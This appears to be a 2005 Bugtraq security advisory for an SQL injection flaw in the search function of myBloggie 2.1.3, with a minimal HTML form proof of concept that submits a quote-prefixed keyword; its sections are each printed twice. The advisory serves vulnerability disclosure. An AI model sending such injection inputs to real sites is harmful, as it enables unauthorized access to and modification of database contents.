MyBloggie Search.PHP SQL Injection Vulnerability
BID:15017
Info
MyBloggie Search.PHP SQL Injection Vulnerability
| Bugtraq ID: | 15017 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 06 2005 12:00AM |
| Updated: | Oct 06 2005 12:00AM |
| Credit: | trueend5 is credited with the discovery of this vulnerability. |
| Vulnerable: |
myBloggie myBloggie 2.1.3 |
| Not Vulnerable: | |
Discussion
MyBloggie Search.PHP SQL Injection Vulnerability
myBloggie is prone to an SQL injection vulnerability. This is due to a lack of sanitization of user-supplied input before passing it on to SQL queries.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
myBloggie is prone to an SQL injection vulnerability. This is due to a lack of sanitization of user-supplied input before passing it on to SQL queries.
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
Exploit / POC
MyBloggie Search.PHP SQL Injection Vulnerability
No exploit is required.
An example proof of concept has been supplied:
<HTML><BODY>
<form
action="http://www.example.com/myBloggie/index.php?mode=search"
method="post" name="search" onsubmit="return
checkForm(this)"><center><input type="text"
name="keyword" size="12" value="'SQLInjection"> <input
type="submit" value="Inject this"></center></form>
</BODY></HTML>
No exploit is required.
An example proof of concept has been supplied:
<HTML><BODY>
<form
action="http://www.example.com/myBloggie/index.php?mode=search"
method="post" name="search" onsubmit="return
checkForm(this)"><center><input type="text"
name="keyword" size="12" value="'SQLInjection"> <input
type="submit" value="Inject this"></center></form>
</BODY></HTML>
Solution / Fix
MyBloggie Search.PHP SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.